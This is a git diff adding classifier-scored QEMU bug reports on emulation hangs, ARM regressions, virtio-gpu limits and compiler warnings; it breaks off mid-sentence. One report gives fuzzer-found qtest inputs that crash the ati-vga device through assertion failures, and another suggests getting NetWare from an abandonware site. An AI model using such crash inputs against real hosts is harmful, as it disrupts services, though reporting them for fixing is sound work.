https://gitlab.com/Silex777/docker-emacs/blob/master/26.3/alpine/3.9/dev/Dockerfile with this command: + +$ docker run --rm --privileged multiarch/qemu-user-static --reset -p yes +$ docker build --pull -t test --platform arm . + +It builds fine until this: + +root@ubuntu-4gb-fsn1-1:~# ps -ef | grep qemu +root 26473 26465 99 14:26 pts/0 01:59:58 /usr/bin/qemu-arm-static ../src/bootstrap-emacs -batch --no-site-file --no-site-lisp --eval (setq load-prefer-newer t) -f batch-byte-compile emacs-lisp/macroexp.el + +This is supposed to take a few seconds, but in practice it takes 100% CPU and never ends. When I strace the process I see this: + +getdents64(5, /* 0 entries */, 2048) = 0 +lseek(5, 0, SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 120 +tgkill(5875, 5878, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable) +getdents64(5, /* 0 entries */, 2048) = 0 +lseek(5, 0, SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 120 +tgkill(5875, 5878, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable) +getdents64(5, /* 0 entries */, 2048) = 0 +lseek(5, 0, SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 120 +tgkill(5875, 5878, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable) +getdents64(5, /* 0 entries */, 2048) = 0 +lseek(5, 0, SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 120 +tgkill(5875, 5878, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable) +getdents64(5, /* 0 entries */, 2048) = 0 +lseek(5, 0, SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 120 +tgkill(5875, 5878, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable) + +It happens with all the QEMU versions I tested: +- 2.11.1 (OS version) +- 4.1.1-1 (from multiarch/qemu-user-static:4.1.1-1) +- 4.2.0-2 (from multiarch/qemu-user-static) + +Any ideas of what I could do to debug it further? + +Kind regards, +Philippe + +Given the presence of getdents64 in the strace, I wonder if you are running into LP:1805913. You could test this theory by running the test with a host filesystem that is not ext4. + + +Thanks. It matches my bug because ubuntu:18.04 has a glibc 2.27 while alpine 3.9 has glib 2.58, and your bug report mentions that 2.27 has not the bug, so it makes sense. + +However I don't see how not having the host filesystem as ext4 would change anything, can you elaborate? Also, what filesystem do you recommand? + +Okay, currently testing XFS. Using newer version of glibc on alpine triggered other problems, like 0% CPU processes stuck on FUTEX_WAIT. + +Building on XFS does the same thing :-( To test I bind mounted my XFS partition on `/var/lib/docker` so everything docker was stored on XFS. Not sure if this is what you meant. + +I tried several workarounds including removing `dir_index` from ext4 partitions and using a 32 bit qemu-user-static version, but it does not work: + +The process still gets stuck in a loop involving `getdents64`: + + +``` +root@earth:~# file /usr/bin/qemu-arm-static +/usr/bin/qemu-arm-static: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=ff1224d87ca5dece8d0b0f5735cfee7fae97ee58, stripped + +root@earth:~# ps afx | grep qemu +21031 pts/0 S+ 0:00 \_ grep --color=auto qemu + 1036 ? Ss 0:00 /usr/sbin/qemu-ga --daemonize -m virtio-serial -p /dev/virtio-ports/org.qemu.guest_agent.0 +10584 ? Ssl 0:00 | | \_ /usr/bin/qemu-arm-static /usr/bin/make install +28768 ? Sl 0:01 | | \_ /usr/bin/qemu-arm-static /usr/bin/make -C src VCSWITNESS=$(srcdir)/../.git/logs/HEAD all +16718 ? Sl 0:00 | | \_ /usr/bin/qemu-arm-static /usr/bin/make -C ../lisp compile-first EMACS=../src/bootstrap-emacs +16726 ? Rl 48:24 | | \_ /usr/bin/qemu-arm-static ../src/bootstrap-emacs -batch --no-site-file --no-site-lisp --eval (setq load-prefer-newer t) -f batch-byte-compile emacs-lisp/macroexp.el +10696 ? Ssl 0:00 | \_ /usr/bin/qemu-aarch64-static /usr/bin/make install +10972 ? Sl 0:02 | \_ /usr/bin/qemu-aarch64-static /usr/bin/make -C src VCSWITNESS=$(srcdir)/../.git/logs/HEAD all +20397 ? Sl 0:00 | \_ /usr/bin/qemu-aarch64-static /usr/bin/make -C ../lisp compile-first EMACS=../src/bootstrap-emacs +20405 ? Rl 24:09 | \_ /usr/bin/qemu-aarch64-static ../src/bootstrap-emacs -batch --no-site-file --no-site-lisp --eval (setq load-prefer-newer t) -f batch-byte-compile emacs-lisp/macroexp.el + +root@earth:~# strace -p 16726 +clock_gettime(CLOCK_REALTIME, {tv_sec=1584794027, tv_nsec=921230669}) = 0 +getdents64(5, /* 0 entries */, 2048) = 0 +_llseek(5, 0, [0], SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 144 +tgkill(29984, 29987, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable) +clock_gettime(CLOCK_REALTIME, {tv_sec=1584794027, tv_nsec=921642405}) = 0 +getdents64(5, /* 0 entries */, 2048) = 0 +_llseek(5, 0, [0], SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 144 +tgkill(29984, 29987, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable) +clock_gettime(CLOCK_REALTIME, {tv_sec=1584794027, tv_nsec=922333065}) = 0 +getdents64(5, /* 0 entries */, 2048) = 0 +_llseek(5, 0, [0], SEEK_SET) = 0 +getdents64(5, /* 5 entries */, 2048) = 144 +tgkill(29984, 29987, SIGRT_2) = -1 EAGAIN (Resource temporarily unavailable) +clock_gettime(CLOCK_REALTIME, ^C{tv_sec=1584794027, tv_nsec=923201432}) = 0 +strace: Process 16726 detached +``` + +What is interesting is that the qemu-aarch64-static process also get stuck, which if I understand the bug correctly should not happen. I'll try stracing the process to figure out what happens. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1862 b/results/classifier/108/graphic/1862 new file mode 100644 index 000000000..a7fbd2236 --- /dev/null +++ b/results/classifier/108/graphic/1862 @@ -0,0 +1,33 @@ +graphic: 0.937 +semantic: 0.685 +network: 0.552 +device: 0.470 +performance: 0.247 +PID: 0.226 +files: 0.212 +other: 0.209 +socket: 0.190 +debug: 0.169 +vnc: 0.136 +boot: 0.107 +permissions: 0.045 +KVM: 0.020 + +SVGA/VESA strange colors (NetWare 6.x) +Description of problem: +The text mode part of the installation is correct but whenever the X server is starting, the display seems to be in 16 colors although GUI settings shows "SVGA/256 colors" (NetWare setup reports a "SVGA Plug & Play" display, VESA 2.0 compliance expected). Color depth issue with VESA? Telling NetWare to use explicitly the Cirrus Logic driver for a CL GD 5446 bring the display back to normal and colors are displayed as they should. +Steps to reproduce: +1. Grab a NetWare 6.0 installation ISO on some abandonware site (no need of a license key, unlicensed = 2 users max.) +2. Execute the command line above +3. Complete the text-mode part (defaults choices are fine) +Additional information: +NetWare 6.0 + Qemu => Same issue. SVGA PnP with wrong colors. +NetWare 6.5 + Qemu => Same issue. SVGA PnP with wrong colors. +NetWare 6.0 + PCem/86Box => does not exhibit the issue. Colors are normal. + +Using SeaBIOS 1.16. + +Screenshots: + + + diff --git a/results/classifier/108/graphic/1864984 b/results/classifier/108/graphic/1864984 new file mode 100644 index 000000000..ffb523a5c --- /dev/null +++ b/results/classifier/108/graphic/1864984 @@ -0,0 +1,46 @@ +graphic: 0.922 +boot: 0.776 +other: 0.673 +performance: 0.668 +device: 0.609 +semantic: 0.554 +network: 0.439 +vnc: 0.337 +debug: 0.290 +PID: 0.288 +permissions: 0.266 +socket: 0.230 +files: 0.229 +KVM: 0.111 + +"nr_entries is too big" when using virgl + +I have a bootable image where GNOME Shell fails because it hits a limit in virtio-gpu. + +In `hw/display/virtio-gpu.c`, there is a limit for `nr_entries` at 16384. There is no explanation for that limit. But there does not seem to be any limit on the kernel side. + +Raising this limit with a patch to 262144 solves the issue. + +Could there be an explanation why this limit is needed? And why this value? Or could this limit be just removed? + +/me wonders what gnome shell is doing there ... + +It is the number of scatter list entries for resources. Even in the worst case (no chunks are continous in memory so each single page needs an entry) this is enough for 64 MB. An 4k display +framebuffer needs less than that. + +Removing the limit isn't an option. Raising maybe. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1865248 b/results/classifier/108/graphic/1865248 new file mode 100644 index 000000000..d601b7769 --- /dev/null +++ b/results/classifier/108/graphic/1865248 @@ -0,0 +1,29 @@ +graphic: 0.982 +other: 0.838 +device: 0.817 +performance: 0.768 +network: 0.762 +permissions: 0.735 +PID: 0.688 +semantic: 0.665 +files: 0.649 +vnc: 0.648 +socket: 0.638 +debug: 0.514 +boot: 0.488 +KVM: 0.187 + +bundle QEMU installer with a QEMU GUI (graphical user interface) such as Virt Manager + +For a better out of the box user experience on the Windows platform it would be nice if a QEMU GUI would be by installed by the same QEMU installer. Currently it is required to first install QEMU and then install a QEMU GUI. + +I don't know all QEMU GUIs but looks like Virt Manager is a decent QEMU GUI and still maintained. + +Virt Manager is also available for Windows. + +https://serverfault.com/questions/340949/is-there-a-way-to-run-virt-manager-on-windows + +However as per these instructions it is difficult (many steps) for laymen to install Virt Manager on Windows (cygwin...). + +Sorry, but I don't think that any of the current QEMU project members has plans to work on such a bundle. This requires a new contributor to step up and do the job. + diff --git a/results/classifier/108/graphic/1869073 b/results/classifier/108/graphic/1869073 new file mode 100644 index 000000000..d1aa36b3c --- /dev/null +++ b/results/classifier/108/graphic/1869073 @@ -0,0 +1,34 @@ +graphic: 0.938 +performance: 0.867 +device: 0.815 +debug: 0.801 +semantic: 0.764 +other: 0.731 +PID: 0.711 +vnc: 0.609 +permissions: 0.607 +files: 0.529 +network: 0.483 +boot: 0.470 +socket: 0.457 +KVM: 0.317 + +qemu-arm-static crashes "segmentation fault" when running "git clone -s" + +I want to use qemu-arm-static to cross-compile software. The compiler itself is a native cross-compiler connected via "distcc". + +The problem is that a script tries to do some stuff with "git" and with a "git clone -s" command the whole story reproducibly stops with a "segmentation fault". + +I don't know how to properly debug the issue but it happens 100% of the time that I get the "crash" or git just hangs forever with 100% CPU usage. + +What is the version of QEMU you are using? + +Actually this one magically went good. I'm testing in Virtual Box as my ARM64 host. Maybe something went wrong there. After rebooting the whole machine today "git" works well. + +Will reopen if it happens again... + +"git crashes" was a known issue with some older versions of QEMU (we had race conditions and git happens to go multi-threaded for some operations including I think 'clone'), but they should all now be fixed. If it does happen again I would recommend trying the most recent QEMU release. + + +Let's assume that this is fixed. Please open a new bug if it happens again. + diff --git a/results/classifier/108/graphic/1874 b/results/classifier/108/graphic/1874 new file mode 100644 index 000000000..8c2672450 --- /dev/null +++ b/results/classifier/108/graphic/1874 @@ -0,0 +1,32 @@ +graphic: 0.990 +semantic: 0.932 +device: 0.916 +PID: 0.811 +performance: 0.768 +network: 0.707 +socket: 0.700 +vnc: 0.673 +files: 0.660 +permissions: 0.625 +other: 0.612 +boot: 0.581 +debug: 0.574 +KVM: 0.101 + +QGA：Whether arm windows VMS are supported？ +Description of problem: +Whether qga can be used within an arm windows virtual machine? + +Windows reports an error (Failed to pCatalog->InstallComponent.(Error: 80110401) Errors occurred accessing one or more objects - the ErrorInfo collection may have more detail) when I try to install msi. Windows reports a warning(Catalog Event ID 5488: Unable to load DLL qga-vss.dll) (Unable to validate DLL entry points) in Event Viewer. + +I get msi from https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-qemu-ga/qemu-ga-win-105.0.2-1.el9/qemu-ga-x86_64.msi +Either gqa does not support ARM or this msi is only for X86 architecture? + + + + +Steps to reproduce: +1. Start arm windows 11 vm. +2. Install qemu guest agent. +Additional information: + diff --git a/results/classifier/108/graphic/1878 b/results/classifier/108/graphic/1878 new file mode 100644 index 000000000..5e78b9e92 --- /dev/null +++ b/results/classifier/108/graphic/1878 @@ -0,0 +1,44 @@ +graphic: 0.927 +device: 0.848 +performance: 0.816 +files: 0.805 +semantic: 0.754 +network: 0.672 +debug: 0.671 +socket: 0.650 +permissions: 0.621 +PID: 0.571 +other: 0.534 +boot: 0.500 +vnc: 0.498 +KVM: 0.222 + +QEMU doesn't implement ARMv4/v5 legacy SCTLR.U==0 load-and-rotate unaligned access handling +Description of problem: +**ldr r7, \[r0, r1\]** works differently on real device and QEMU. Probably all **ldr Rd, \[Rs\]** commands works wrongly in QEMU with Raspberry Pi emulation. +Steps to reproduce: +1. Launch the attached software **kernel_qemu.img** in QEMU. +2. Launch the attached software **kerenel.img** on real Raspberry Pi 1B+. +3. Look at the r7. It contains different data. +Additional information: +**kernel_qemu.img** and **kerenel.img** are the same program. It just compiled with different origins - 0x8000 for real device and 0x10000 for QEMU. But code inside the program works at the same addresses. + +r0 = 0x183a4 + +r1 = 0x817 + +**\[r0, r1\]** points to byte 0x42 in memory with such data: + +**0x80 0x15 0x22 \[0x42\] 0x03 0x21 0x87** + +After **ldr r7, \[r0, r1\]** execution real device puts to r7: **0x22158042** + +After **ldr r7, \[r0, r1\]** execution QEMU puts to r7: **0x87210342** + +QEMU: + + + +Real Raspberry Pi 1B+:  + +[kernel_qemu.img](/uploads/ae6a7490660569d5fe56adc9f4dde85d/kernel_qemu.img) [kernel.img](/uploads/48c94a66370c1fe8720fe89603c45c7b/kernel.img) diff --git a/results/classifier/108/graphic/1878136 b/results/classifier/108/graphic/1878136 new file mode 100644 index 000000000..e653cc17a --- /dev/null +++ b/results/classifier/108/graphic/1878136 @@ -0,0 +1,64 @@ +graphic: 0.942 +other: 0.941 +device: 0.928 +permissions: 0.912 +debug: 0.900 +semantic: 0.896 +PID: 0.885 +files: 0.877 +performance: 0.874 +boot: 0.851 +socket: 0.848 +vnc: 0.846 +KVM: 0.830 +network: 0.828 + + Assertion failures in ati_reg_read_offs/ati_reg_write_offs + +Hello, +While fuzzing, I found inputs that trigger assertion failures in +ati_reg_read_offs/ati_reg_write_offs + +uint32_t extract32(uint32_t, int, int): Assertion `start >= 0 && length > 0 && length <= 32 - start' failed + +#3 0x00007ffff6866092 in __GI___assert_fail (assertion=0x555556e760c0 <str> "start >= 0 && length > 0 && length <= 32 - start", file=0x555556e76120 <str> "/home/alxndr/Development/qemu/include/qemu/bitops.h", line=0x12c, function=0x555556e76180 <__PRETTY_FUNCTION__.extract32> "uint32_t extract32(uint32_t, int, int)") at assert.c:101 +#4 0x000055555653d8a7 in ati_mm_read (opaque=<optimized out>, addr=0x1a, size=<optimized out>) at /home/alxndr/Development/qemu/include/qemu/log-for-trace.h:29 +#5 0x000055555653c825 in ati_mm_read (opaque=<optimized out>, addr=0x4, size=<optimized out>) at /home/alxndr/Development/qemu/hw/display/ati.c:289 +#6 0x000055555601446e in memory_region_read_accessor (mr=0x63100004dc20, addr=<optimized out>, value=<optimized out>, size=<optimized out>, shift=<optimized out>, mask=<optimized out>, attrs=...) at /home/alxndr/Development/qemu/memory.c:434 +#7 0x0000555556001a70 in access_with_adjusted_size (addr=<optimized out>, value=<optimized out>, size=<optimized out>, access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=<optimized out>, mr=0x63100004dc20, attrs=...) at /home/alxndr/Development/qemu/memory.c:544 +#8 0x0000555556001a70 in memory_region_dispatch_read1 (mr=0x63100004dc20, addr=0x4, pval=<optimized out>, size=0x4, attrs=...) at /home/alxndr/Development/qemu/memory.c:1396 + +I can reproduce it in qemu 5.0 built with using: +cat << EOF | ~/Development/qemu/build/i386-softmmu/qemu-system-i386 -M pc-q35-5.0 -device ati-vga -nographic -qtest stdio -monitor none -serial none +outl 0xcf8 0x80001018 +outl 0xcfc 0xe2000000 +outl 0xcf8 0x8000101c +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x8000fa20 +write 0xe2000004 0x1 0x1a +readq 0xe2000000 +EOF + +Similarly for ati_reg_write_offs: +cat << EOF | ~/Development/qemu/build/i386-softmmu/qemu-system-i386 -M pc-q35-5.0 -device ati-vga -nographic -qtest stdio -monitor none -serial none +outl 0xcf8 0x80001018 +outl 0xcfc 0xe2000000 +outl 0xcf8 0x8000101c +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x8000fa20 +write 0xe2000000 0x8 0x6a00000000006a00 +EOF + +I also attached the traces to this launchpad report, in case the formatting is broken: + +qemu-system-i386 -M pc-q35-5.0 -device ati-vga -nographic -qtest stdio -monitor none -serial none < attachment + +Please let me know if I can provide any further info. +-Alex + + + + + diff --git a/results/classifier/108/graphic/1879 b/results/classifier/108/graphic/1879 new file mode 100644 index 000000000..6753f0c21 --- /dev/null +++ b/results/classifier/108/graphic/1879 @@ -0,0 +1,24 @@ +graphic: 0.920 +files: 0.883 +device: 0.865 +debug: 0.642 +vnc: 0.637 +semantic: 0.559 +PID: 0.524 +boot: 0.488 +performance: 0.352 +permissions: 0.277 +network: 0.205 +other: 0.146 +socket: 0.074 +KVM: 0.054 + +ARM Cortex-A15 Emulation Not Working +Description of problem: +I want to make a VM with Windows RT 8.1 but it fails because it can't find a file for the to-emulate ARM CPU. +Steps to reproduce: +1. Use virt-manager to make a VM with the ARM architecture. +2. Make sure the emulated CPU is an ARM Cortex-A15. +3. Try installing and making the VM, it will fail with the error. +Additional information: + diff --git a/results/classifier/108/graphic/1881004 b/results/classifier/108/graphic/1881004 new file mode 100644 index 000000000..4245f1d02 --- /dev/null +++ b/results/classifier/108/graphic/1881004 @@ -0,0 +1,157 @@ +graphic: 0.964 +permissions: 0.960 +semantic: 0.941 +other: 0.939 +performance: 0.928 +device: 0.921 +debug: 0.918 +socket: 0.914 +vnc: 0.913 +KVM: 0.910 +PID: 0.900 +network: 0.888 +files: 0.847 +boot: 0.845 + +fpu/softfloat.c: error: bitwise negation of a boolean expression + +Last time I built QEMU was on commit d5c75ec500d96f1d93447f990cd5a4ef5ba27fae, +I just pulled to fea8f3ed739536fca027cf56af7f5576f37ef9cd and now get: + + CC lm32-softmmu/fpu/softfloat.o +fpu/softfloat.c:3365:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + absZ &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3423:18: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + absZ0 &= ~ ( ( (uint64_t) ( absZ1<<1 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3483:18: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + absZ0 &= ~(((uint64_t)(absZ1<<1) == 0) & roundNearestEven); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3606:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + zSig &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3760:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + zSig &= ~ ( ( ( roundBits ^ 0x200 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:3987:21: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + ~ ( ( (uint64_t) ( zSig1<<1 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:4003:22: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + zSig0 &= ~ ( ( (uint64_t) ( zSig1<<1 ) == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +fpu/softfloat.c:4273:18: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] + zSig1 &= ~ ( ( zSig2 + zSig2 == 0 ) & roundNearestEven ); + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ! +8 errors generated. + +$ clang -v +clang version 10.0.0-4ubuntu1 +Target: aarch64-unknown-linux-gnu + +$ lsb_release -a +No LSB modules are available. +Distributor ID: Ubuntu +Description: Ubuntu 20.04 LTS +Release: 20.04 +Codename: focal + +On Wed, 27 May 2020 at 20:21, Philippe Mathieu-Daudé +<email address hidden> wrote: +> +> Public bug reported: +> +> Last time I built QEMU was on commit d5c75ec500d96f1d93447f990cd5a4ef5ba27fae, +> I just pulled to fea8f3ed739536fca027cf56af7f5576f37ef9cd and now get: +> +> CC lm32-softmmu/fpu/softfloat.o +> fpu/softfloat.c:3365:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] +> absZ &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); +> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> ! + + +"(x & y)" is not a boolean expression, so we should report this to clang +as a bug (I assume what they actually are trying to complain about is +bitwise AND with a boolean expression). + +thanks +-- PMM + + +On 5/27/20 4:40 PM, Peter Maydell wrote: +> On Wed, 27 May 2020 at 20:21, Philippe Mathieu-Daudé +> <email address hidden> wrote: +>> +>> Public bug reported: +>> +>> Last time I built QEMU was on commit d5c75ec500d96f1d93447f990cd5a4ef5ba27fae, +>> I just pulled to fea8f3ed739536fca027cf56af7f5576f37ef9cd and now get: +>> +>> CC lm32-softmmu/fpu/softfloat.o +>> fpu/softfloat.c:3365:13: error: bitwise negation of a boolean expression; did you mean logical negation? [-Werror,-Wbool-operation] +>> absZ &= ~ ( ( ( roundBits ^ 0x40 ) == 0 ) & roundNearestEven ); +>> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +>> ! +> +> +> "(x & y)" is not a boolean expression, so we should report this to clang +> as a bug (I assume what they actually are trying to complain about is +> bitwise AND with a boolean expression). + +We have: + +uint64_t &= ~ ( ( ( int8_t ^ int ) == int ) & bool ) + +which is + +uint64_t &= ~ ( bool & bool ) + +which is then + +uint64_t &= ~ ( int ) + +resulting in one of: + +uint64_t &= 0xffffffffffffffff +uint64_t &= 0xfffffffffffffffe + +It is a very odd way of stating that 'if this condition is true, mask +out the least-significant-bit'. In general, 'bool & bool' is used where +the side-effect-skipping 'bool && bool' is inappropriate; I'm a bit +surprised that clang is not questioning whether we meant '&&' instead of +'&' (the two operators give the same effect in this case). + +You are right that clang is fishy for calling it logical negation of a +bool, when it is really logical negation of an int, but we are also +fishy in that we are using bitwise AND of two bools as an int in the +first place. + +Regardless of whether clang changes, would it be better to write the +code as: + +if (((roundBits ^ 0x40) == 0) && roundNearestEven) { + absZ &= ~1; +} + +-- +Eric Blake, Principal Software Engineer +Red Hat, Inc. +1-919-301-3226 +Virtualization: qemu.org | libvirt.org + + + +Patch sent: +https://lists.gnu.org/archive/html/qemu-devel/2020-05/msg07861.html + +Fixed in commit 4066288694c3bdd175df8, which will be in 5.1. + + diff --git a/results/classifier/108/graphic/1882 b/results/classifier/108/graphic/1882 new file mode 100644 index 000000000..36f0e66a5 --- /dev/null +++ b/results/classifier/108/graphic/1882 @@ -0,0 +1,24 @@ +graphic: 0.972 +performance: 0.909 +device: 0.854 +socket: 0.735 +network: 0.732 +semantic: 0.704 +vnc: 0.664 +PID: 0.515 +other: 0.471 +boot: 0.450 +debug: 0.375 +permissions: 0.347 +files: 0.274 +KVM: 0.014 + +Test suite hangs on FreeBSD 13.2 +Description of problem: +The 80 minute timeout for the x64-freebsd-13-build CI job is insufficient: +https://gitlab.com/qemu-project/qemu/-/jobs/5058610599 + +``` +672/832 qemu:block / io-qcow2-041 OK 39.77s 1 subtests passed +Timed out! +``` diff --git a/results/classifier/108/graphic/1882123 b/results/classifier/108/graphic/1882123 new file mode 100644 index 000000000..dbb3df144 --- /dev/null +++ b/results/classifier/108/graphic/1882123 @@ -0,0 +1,186 @@ +graphic: 0.945 +permissions: 0.941 +network: 0.941 +device: 0.936 +other: 0.926 +performance: 0.918 +PID: 0.917 +debug: 0.912 +files: 0.908 +socket: 0.895 +semantic: 0.884 +boot: 0.872 +KVM: 0.785 +vnc: 0.785 + +ARM cpu emulation regression on QEMU 4.2.0 + +[*] Summary + +Latest QEMU has an ARM CPU emulation regression. +Regression is reproducible by building any C# project with .NET Core SDK 3.1.300 on Debian 10 armhf. + +Affected releases: QEMU 4.2.0, 5.0.0 +Not affected releases: QEMU 4.1.0, QEMU 4.1.1 + + +[*] Detail + +qemu-system-arm fails to run .NET Core SDK 3.1 on Debian 10 armhf. + +I occasionally test my C# projects on the virtual armhf/arm64 system emulated by QEMU. +MSBuild, a build engine of the .NET Core SDK, crashes on QEMU 4.2.0 or later. +The crash only happens when MSBuild tries to do any JIT compiling (dotnet build / dotnet test). + +I attached MSBuild crash logs. MSBuild always crashes with SEHException, which means it tried to call C binary from .NET binary. + +The issue affects QEMU 4.2.0 and 5.0.0. +QEMU 4.1.0, 4.1.1, and real Raspberry Pi 2 machine is not affected by this issue, and .NET Core SDK works completely fine. +Thus, I think an ARM CPU regression happened between QEMU 4.1.1 ~ QEMU 4.2.0. + + +[*] Environment + +[Host OS] +Distribution: Linux Mint 19.3 amd64 +CPU: AMD Ryzen 5 3600 +Kernel: Ubuntu 5.3.0-51-generic + +[QEMU Arguments] +qemu-system-arm \ + -smp 3 -M virt -m 4096 \ + -kernel vmlinuz-4.19.0-9-armmp-lpae \ + -initrd initrd.img-4.19.0-9-armmp-lpae \ + -append "root=/dev/vda2" \ + -drive if=none,file=debian_arm.qcow2,format=qcow2,id=hd \ + -device virtio-blk-device,drive=hd \ + -netdev user,id=mynet,hostfwd=tcp::<PORT>-:22 \ + -device virtio-net-device,netdev=mynet \ + -device virtio-rng-device\ + +[QEMU Guest OS] +Distribution: Debian 10 Buster armhf +Kernel: Debian 4.19.0-9-armmp-lpae +.NET Core SDK: 3.1.300 + +[Raspberry Pi 2] +Distribution: Raspberry Pi OS Buster armhf (20200527) + +[Tested C# Projects] +This is a list of C# projects I have tested on QEMU and RPI2. +- https://github.com/ied206/Joveler.DynLoader +- https://github.com/ied206/Joveler.Compression +- https://github.com/ied206/ManagedWimLib + + + +I have tested 4.2.0 release candidate versions to pinpoint which commit caused the regression. + +- 4.2.0-rc2: Same with 4.2.0, dotnet command crashes with SEHException. +- 4.2.0-rc0, 4.2.0-rc1: Launching dotnet command with any argument crashes with illegal hardware instruction message. + +$ dotnet build +[1] 658 illegal hardware instruction dotnet build +$ dotnet --version +[1] 689 illegal hardware instruction dotnet --version + +So the issue is affected by some commits pushed between 4.1.0 ~ 4.2.0-rc0 and 4.2.0-rc1 ~ 4.2.0-rc2 period. + +Could you try current head of git as well please, just in case it's a bug we've already fixed since 5.0? Thanks! + + +I pinpointed the exact commits which affected the regression. + +[QEMU 4.2.0-rc0 : illegal hardware instruction] +- Introduced in commit af28822 +https://github.com/qemu/qemu/commit/af2882289951e58363d714afd16f80050685fa29 +The commit affected LDREX/STREX translation, and broke dotnet command from .NET Core SDK. + +[QEMU 4.2.0-rc2 : .NET SEHException] +- Introduced in commit 655b026 +https://github.com/qemu/qemu/commit/655b02646dc175dc10666459b0a1e4346fc8d46a +The commit fixes STREX a bit. As a result, dotnet command is now executable except JIT compiling. + + +I also tested lastest HEAD from the master, and it still has the SEHException regression. +(Tested commit is 66234fee9c2d37bfbc523aa8d0ae5300a14cc10e) + + +Dear Peter Maydell (@pmaydell), is there any update on this bug? + +No, sorry. There would be a lot of effort required to track down exactly what goes wrong with the MS JIT engine... + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/271 + + +Hi all, + +I'm sure this patch will prevent the assertion failure due to the +inconsistent ep and pid (UBS_TOKEN_SETUP) ( +https://lists.gnu.org/archive/html/qemu-devel/2021-06/msg07179.html). + +For UHCI (https://gitlab.com/qemu-project/qemu/-/issues/119) and OHCI ( +https://gitlab.com/qemu-project/qemu/-/issues/303), this patch may be +right. + +For EHCI, I found another way to trigger this assertion even with my patch +because ehci_get_pid() 